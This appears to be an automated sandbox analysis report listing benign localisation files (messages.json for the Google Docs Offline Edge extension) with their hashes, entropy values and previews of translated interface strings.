Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

